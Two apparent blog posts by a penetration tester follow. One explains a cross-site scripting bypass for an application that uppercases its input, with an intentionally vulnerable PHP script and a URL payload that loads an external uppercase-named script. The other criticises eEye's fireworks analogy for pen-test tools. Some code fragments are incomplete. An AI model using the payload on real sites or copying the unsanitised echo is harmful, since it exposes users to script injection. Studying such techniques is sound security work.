thinking sideways

Had an interesting question posed to me today. A web application was using portions of the GET request to create content on a page, and not properly sanitising the input. The result was a web page that was potentially vulnerable to cross-site scripting (XSS). However, there was a catch. The application, while not checking for security risks, was converting the GET request parameters to all uppercase.
This meant that, since javascript is case sensitive, the usual methods wouldn’t work For example you couldn’t use document.write(), or alert(), because they were rendered as DOCUMENT.WRITE() or ALERT() instead.
Here’s a quick and dirty PHP script I wrote that mimics this behaviour (note that you will need to have GPC_MAGIC_QUOTES turned off in the php.ini for this to work)

   echo '<form name="testform" method="post">';
   echo '<select name="test">';
   if (isset($_GET['options']) ) {
      echo strtoupper($_GET['options']);
   } else {
      echo '<option value="empty">EMPTY</option>';
   echo '</select>';
   echo '<input type="submit" name="submit" value="submit" />';
   echo '</form>';

To test it out, simply browse to http://yourhost.yourdomain/test.php?options=uppercaseftw
So, the question as a pen tester is, how can I break this?
Turns out the answer is pretty simple: you simply make your own javascript file, host it on a server somewhere, give it an uppercase file name, and create functions with uppercase names.
For example, I created the following XSS() function, in a file named XSS.JS:

function XSS() {
   alert('xss'); // or whatever

Now, I need to load this code into the page I’m requesting, and then somehow call the XSS() function. I did this by closing the select tag in my options GET parameter, and providing my own script tag. I then created a link to “foo”, and set an onMouseOver event to call the XSS() function.
Here’s what the request URL looks like to exploit this code:

http://localhost/sandbox/index.php?options=<option value="number1">number1</option></select><script language="javascript" src="XSS.JS"></script><a href="foo" onmouseover="XSS()">clicky</a>   <!--

The result is a nice link that, upon placing the mouse over it, triggers the javascript event which fires off the usual alert box.
The source code of the resulting page looks like this:

<form name="testform" method="post">
<select name="test">
<input type="submit" name="submit" value="submit" />

Nothing particularly awesome about this, but it was a situation I’d not come across before, and it took me a minute to figure out a way around it. So I thought I’d share =)

on pen testing and fireworks

eEye posted a blog entry recently that attempted to compare providing free tools for pen testing to encouraging someone to use fireworks. This post from eEye is actually part of a growing pattern of ‘pen test/full disclosure == criminal’ BS being tossed around by various companies (notably, each of which perform vulnerability assessments themselves), but I don’t have time to fully address my thoughts on that at the moment (hint: there’s another post coming later on this topic).
Specifically, eEye’s post makes the following statements:

Penetration tools clearly allow the breaking and entering of systems to prove that vulnerabilities are real, but clearly could be used maliciously to break the law.
Making these tools readily available is like encouraging people to play with fireworks. Too bold of a statement? I think not. Fireworks can make a spectacular show, but they can also be abused and cause serious damage. In most states, only people licensed and trained are permitted to set off fireworks.

This analogy is flawed for a number of reasons, not least of which is the fact that the statement that most states disallow fireworks to people other than licensed pyrotechnicians is untrue.
I made a comment to their site about this, but as it has not been approved yet, I’m posting my comment here as well.
Here’s my two bits:

Since you relate the use of free pen test tools to fireworks as an argument, it should probably be pointed out that the majority of states in the US permit consumer fireworks, and only a very few disallow them. See:
Perhaps the free pen test tools are “consumer grade” vs. the commercially licensed products that, to follow your analogy, should apparently only be used by licensed professionals (though frankly, I know folks in #metasploit that I trust with these tools more than many CISSPs that I know…)
Either way, I’m glad these tools are available, and free, and I am as grateful that I can use them as I am for the fond memories I have of lighting off fireworks with my family as a child. There’s something about being out in the field and participating that makes the moment much more enjoyable than simply watching someone else do it for you.

eEye has since replaced the entirety of the original post with one that essentially states “ummm… we meant that using free pen testing tools without permission is bad”. *sigh*.